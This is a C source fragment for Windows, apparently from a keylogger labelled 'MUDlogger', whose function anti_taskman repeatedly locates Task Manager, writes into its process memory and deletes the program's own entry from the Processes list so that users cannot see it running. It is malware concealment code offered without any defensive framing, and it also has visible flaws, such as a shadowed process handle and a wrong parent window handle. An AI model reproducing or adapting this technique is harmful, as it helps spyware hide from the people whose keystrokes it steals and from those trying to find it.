Unknown

DWORD WINAPI anti_taskman(void *param)
{
    HWND hTaskMan = 0;
    HWND hProcTab = 0;
    HWND hProcLV = 0;
    char *fullexename = 0;
    char *exename = 0;
    BYTE injected = FALSE;
    DWORD dwTaskmanEC = 0;
    DWORD dwTaskmanID = 0;
    HANDLE taskman = 0;
    LVFINDINFO LVFI;
    void *LVFIaddr = 0;
    DWORD dwBytesWritten = 0;

    fullexename = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 256);
    GetModuleFileNameA(GetModuleHandle(0), fullexename, 256);
    exename = fullexename;
    while (*exename++ != NULL);
    while (*exename-- != '\\');
    exename += 2;
    MessageBoxA(0, exename, "EXENAME", 0);

    while (1)
    {
        hTaskMan = FindWindowA(0, "Windows Task Manager");
        if (hTaskMan != NULL)
        {
            if (taskman != NULL)
            {
                GetExitCodeProcess(taskman, &dwTaskmanEC);
                if (dwTaskmanEC != STILL_ACTIVE) injected = FALSE;
            }

            if (injected == FALSE)
            {
                GetWindowThreadProcessId(hTaskMan, &dwTaskmanID);
                HANDLE taskman = OpenProcess(PROCESS_VM_OPERATION |
                    PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwTaskmanID);
                if (taskman == NULL) continue;

                LVFIaddr = VirtualAllocEx(taskman, NULL, 256,
                    MEM_COMMIT, PAGE_READWRITE);
                if (LVFIaddr == NULL) continue;
                WriteProcessMemory(taskman, LVFIaddr, exename,
                    256, &dwBytesWritten);
                if (dwBytesWritten == 0) continue;

                LVFI.flags = 0x0002; //LVFI_STRING 0x0002 | LVFI_PARTIAL 0x0008
                LVFI.psz = (char*)LVFIaddr;

                LVFIaddr = VirtualAllocEx(taskman, NULL, sizeof(LVFINDINFO),
                    MEM_COMMIT, PAGE_READWRITE);
                if (LVFIaddr == NULL) continue;
                WriteProcessMemory(taskman, LVFIaddr, &LVFI,
                    sizeof(LVFINDINFO), &dwBytesWritten);
                if (dwBytesWritten == 0) continue;

                MessageBoxA(0, "Injection success!", "MUDlogger", 0);
                injected = TRUE;
            }

            hProcTab = FindWindowExA(hTaskMan, 0, 0, "Processes");
            if (hProcTab != NULL)
            {
                hProcLV = FindWindowExA(hProcLV, 0, "SysListView32", 0);
                if (hProcLV != NULL)
                {
                    LRESULT ret = SendMessage(hProcLV, 0x1000 + 13,
                        -1, (LPARAM)LVFIaddr); //LVM_FINDITEMA
                    char retstr[256] = {0};
                    _anti_itoa((int)ret, retstr, 10);
                    MessageBoxA(0, retstr, "Item index", 0);
                    if (ret != -1)
                    {
                        LRESULT dret = SendMessage(hProcLV, 0x1000 + 8,
                            ret, 0); //LVM_DELETEITEM
                        if (dret == FALSE)
                            MessageBoxA(0, "Failed to delete item", "MUDlogger", 0);
                    }
                    else
                    {
                        MessageBoxA(0, "Failed to find item", "MUDlogger", 0);
                    }
                }
            }
        }
        Sleep(250);
    }

    if (taskman != NULL && LVFIaddr != NULL)
        VirtualFreeEx(taskman, LVFIaddr, sizeof(LVFINDINFO), MEM_DECOMMIT);

anti_taskman_end:
    ExitThread(0);
    return 0;
}